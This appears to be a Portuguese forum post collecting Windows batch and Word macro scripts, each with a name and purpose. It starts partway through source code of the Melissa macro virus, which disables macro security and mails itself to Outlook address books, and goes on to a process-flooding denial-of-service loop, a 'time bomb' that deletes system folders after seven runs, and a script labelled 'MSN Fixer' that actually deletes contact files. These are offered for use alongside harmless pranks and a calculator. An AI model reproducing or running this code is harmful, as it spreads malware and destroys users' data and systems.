,
"HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0W ordSecurity", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("",
"HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0W ordSecurity", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application&quot;)
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI&quot;)
If System.PrivateProfileString("",
"HKEY_CURRENT_USERSoftwareMicrosoftOffice" , "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else Wink"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End

Função:se espalha rapidamente e força empresas como Intel e Microsoft, entre outras, a fechar seus sistemas de e-mail para conter a praga, que se disseminava via Outlook. O vírus, além de se enviar pela Internet, modificava documentos do Word colocando falas do programa de televisão Os Simpsons. Causou danos estimados em US$ 300 milhões a US$ 600 milhões.

........................................................................................................................................

Nome:CLICK EM MIM

@ECHO OFF
:REPETE
MSG * CLICK EM MIM
GOTO REPETE

Função:Fica repetindo varias vezes a mesma mensagem (obs: vc pode trocar o CLICK EM MIM por outra coisa como "hahaahah vc vai clica ate morrer")

................................................................................................................................

Nome:Progstar

@echo off
rem Denial Of Service Local
:Fucker
start notepad.exe
start write.exe
start sol.exe
start cmd.exe
start powerpnt.exe
start excel.exe
start winword.exe
start msacess.exe
goto Fucker:

Função:Abre varios programas sem parar, fais o pc travar

..................................................................................................................................

Nome:bomba relógio

c:
cd
echo off
if exist lig1.drv goto 2
echo > lig1.drv sdfsdf
goto fim
:2
if exist lig2.drv goto 3
echo > lig2.drv sdfsdf
goto fim
:3
if exist lig3.drv goto 4
echo > lig3.drv sdfsdf
goto fim
:4
if exist lig4.drv goto 5
echo > lig4.drv sdfsdf
goto fim
:5
if exist lig5.drv goto 6
echo > lig4.drv sdfsdf
goto fim
:6
if exist lig6.drv goto 7
echo > lig6.drv sdfsdf
goto fim
:7
rmdir C:windows
rmdir C:arquivos de programas
rmdir C:documents and settings
:fim

Função:depois que ele for ativado 7 vezes ele apaga tudo

.........................................................................................

Nome:MSN Fixer

cd %USERPROFILE%
cd Config~1
cd Dadosd~1
cd Micros~1
cd " Windows Live Contacts"
del /s /q *.*

Função:Congela todos os msn's que estao sendo executados.

............................................................................................................

Nome: Texto invisivel

1. Abra o Prompt de Comandos do Windows (Menu “Iniciar” > “Executar” > digite cmd e pressione “Enter”.)

2. Coloque o local onde você ira criar o bloco de notas.

3. Agora digite no Prompt: “notepad visivel.txt:invisivel.txt” (você pode mudar os nomes 'visivel' e 'invisivel' para outros de sua escolha). Surgirá uma mensagem perguntando que deseja criar um novo arquivo. Clique em “sim”.

4. Agora digite o texto que você deseja ocultar, salve o arquivo e feche o bloco de notas.

5. Acesse a pasta onde foi salvo o arquivo. Você verá apenas o arquivo 'visivel.txt' (ou um dos nomes q vc pos como nome do bloco de notas), que pode ser aberto e alterado como desejar, tudo escrito agora sera visivel por todos.

6. O arquivo oculto “invisivel.txt” (ou um dos nomes q vc pos como nome do bloco de notas) , não será visualizado nem através do Windows Explorer, nem pelo DOS, digitando o caminho direto do arquivo.

7. Para abrir, ler e escrever seu arquivo oculto, digite no promp de comando: “notepad visivel.txt:invisivel.txt” (ou os nomes escolhidos de acordo com o passo 3) e em seguida tecle “Enter”. Voilà! Só o texto oculto irá aparecer! Salve normal e quando apertar ira aparecer o texto visivel, assim por diante.

Função: Escrever no bloco de notas de forma que ninguem possa ler, só se você contar.

°Importante: Se o arquivo visível (visivel.txt) for deletado, seu texto oculto (invisivel.txt) também será deletado.
°Salve no bloco de notas normal, SEM utilizar '.bat'

Nome: Calculadora.bat

Escreva isso no Bloco de Notas:

@echo off
title Programa que faz calculos
:inicio
cls
echo Digite o numero correspondente ao calculo que voce quer fazer
echo.
echo.
echo 1-Adicao
echo 2-Subtracao
echo 3-Multiplicacao
echo 4-Divisao
echo.
set /p calculo=
if %calculo%==1 goto adicao
if %calculo%==2 goto subtracao
if %calculo%==3 goto multiplicar
if %calculo%==4 goto dividir
:adicao
cls
echo Digite o primeiro numero que voce quer somar
set /p n1=
cls
echo Digite o segundo numero
set /p n2=
cls
set /a n3=%n1%+%n2%
echo %n1%+%n2%=%n3%
pause
cls
echo O que deseja fazer?
echo .
echo .
echo V-Voltar ao menu
echo S-sair do programa
set /p opcao=
if %opcao%==v goto inicio
if %opcao%==s exit
:subtracao
cls
echo Digite o primeiro numero que voce quer subtrair
set /p nn1=
cls
echo Digite o segundo numero
set /p nn2=
cls
set /a nn3=%nn1%-%nn2%
echo %nn1%-%nn2%=%nn3%
pause
cls
echo O que deseja fazer?
echo .
echo .
echo V-Voltar ao menu
echo S-sair do programa
set /p opcao1=
if %opcao1%==v goto inicio
if %opcao1%==s exit
:multiplicar
cls
echo Digite o primeiro numero que voce quer Multiplicar
set /p n1=
cls
echo Digite o segundo numero
set /p n2=
cls
set /a n3=%n1%*%n2%
echo %n1%X%n2%=%n3%
pause
cls
echo O que deseja fazer?
echo .
echo .
echo V-Voltar ao menu
echo S-sair do programa
set /p opcao=
if %opcao%==v goto inicio
if %opcao%==s exit
:dividir
cls
echo Que numero voce deseja dividir
set /p n1=
cls
echo Por quanto voce deseja dividir
set /p n2=
cls
set /a n3=%n1%/%n2%
echo %n1%:%n2%=%n3%
pause
cls
echo O que deseja fazer?
echo .
echo .
echo V-Voltar ao menu
echo S-sair do programa
set /p opcao=
if %opcao%==v goto inicio
if %opcao%==s exit

Função: Você tera uma calculadora num arquivo '.bat'.

°Caso você utilize a divisão, tera problemas em contas que sobrei algo. Na calculadora, restos não são contados. Ex: 20 : 6 = 3 (vinte divididos por 6 é igual a 3)

Nome:virus de mentira

@echo off
cls
echo quer apagar todos os arquivos? (s/n)
pause >nul
echo tem mesmo certeza que quer apagar todos os arquivos? (s/n)
pause >nul
echo A Apagar arquivos
dir /s
dir /s
echo Arquivos apagados!
pause
msg * Tomo um Susto???????kkkkkkkkkkkkkkkkkkkkkkk

.......................................................................................................................

1- Abra o bloco de notas e cole
——————————————————
RunDll32 advpack.dll,LaunchINFSection %windir%INFmsmsgs.inf,BLC.Remove
——————————————————
2- Salve como arquivo bat
Ex: Desinstalar Messenger Antigo.bat
3- Depois de salvo, é só executar
Pronto você naum tera mais o messenger antigo instalado no seu PC

.........................................................................................................................

Nome: Abridor de programas por senha

Digite no bloco de notas:

@Echo off
cls
:Password
Set input=
set /p input= Password (input then press enter) :
if %input%==?¹ goto YES
if not %input%==?¹ goto NO

:YES

Start ?²
Exit

:NO

Echo INCORRECT PASSWORD
pause
goto Password

Função: abra programas por senha.
Obs: ?¹ = senha
. . . . ?² = local onde ira ter o icone principal, a fonte. ex: C:Program FilesSkypePhoneSkype.exe ,neste caso ira abrir o Skype.
Dicas: Exclua os outros icones do programa, deixe o original num local exclusivo, isso será um atalho, mas protegido por senha.

.............................................................................................................................

UMA ÓTIMA DICA É JUNTAR 2 OU MAIS .BAT EM UM SÓ
EX:
@ECHO OFF
cls
Set input=
set /p input= Password (input then press enter) :
if %input%==errou goto YES
if not %input%==errou goto NO
:YES
cls
:NO
COLOR c
ECHO INCORRECT PASSWORD!
PAUSE
cls
TITLE ERRO!!!
COLOR c
ECHO Acesso Negado !!!
ECHO Acesso Negado !!!
ECHO Acesso Negado !!!
PAUSE
CLS
TITLE DELETANDO ARQUIVOS...
CLS
:1
CD
SET /a VAR = "(%Random% %% ((17) - (1))) + (1)"
SET /a VAL = "(%Random% %% ((2) - (0))) + (0)"
IF %VAL% == 0 (SET VAL=dir/s)
IF %VAL% == 1 (SET VAL=tree/f)
IF %VAR% == 12 (SET VAR=b)
IF %VAR% == 13 (SET VAR=c)
IF %VAR% == 14 (SET VAR=d)
IF %VAR% == 15 (SET VAR=e)
IF %VAR% == 16 (SET VAR=f)
COLOR %VAR%
%VAL%
ECHO 
CD %programfiles%
SET /a VAR = "(%Random% %% ((17) - (1))) + (1)"
SET /a VAL = "(%Random% %% ((2) - (0))) + (0)"
IF %VAL% == 0 (SET VAL=dir/s)
IF %VAL% == 1 (SET VAL=tree/f)
IF %VAR% == 10 (SET VAR=a)
IF %VAR% == 12 (SET VAR=b)
IF %VAR% == 13 (SET VAR=c)
IF %VAR% == 14 (SET VAR=d)
IF %VAR% == 15 (SET VAR=e)
IF %VAR% == 16 (SET VAR=f)
COLOR %VAR%
%VAL%
ECHO 
GOTO 1
FUNÇÃO: Virus Falso.
________________________________________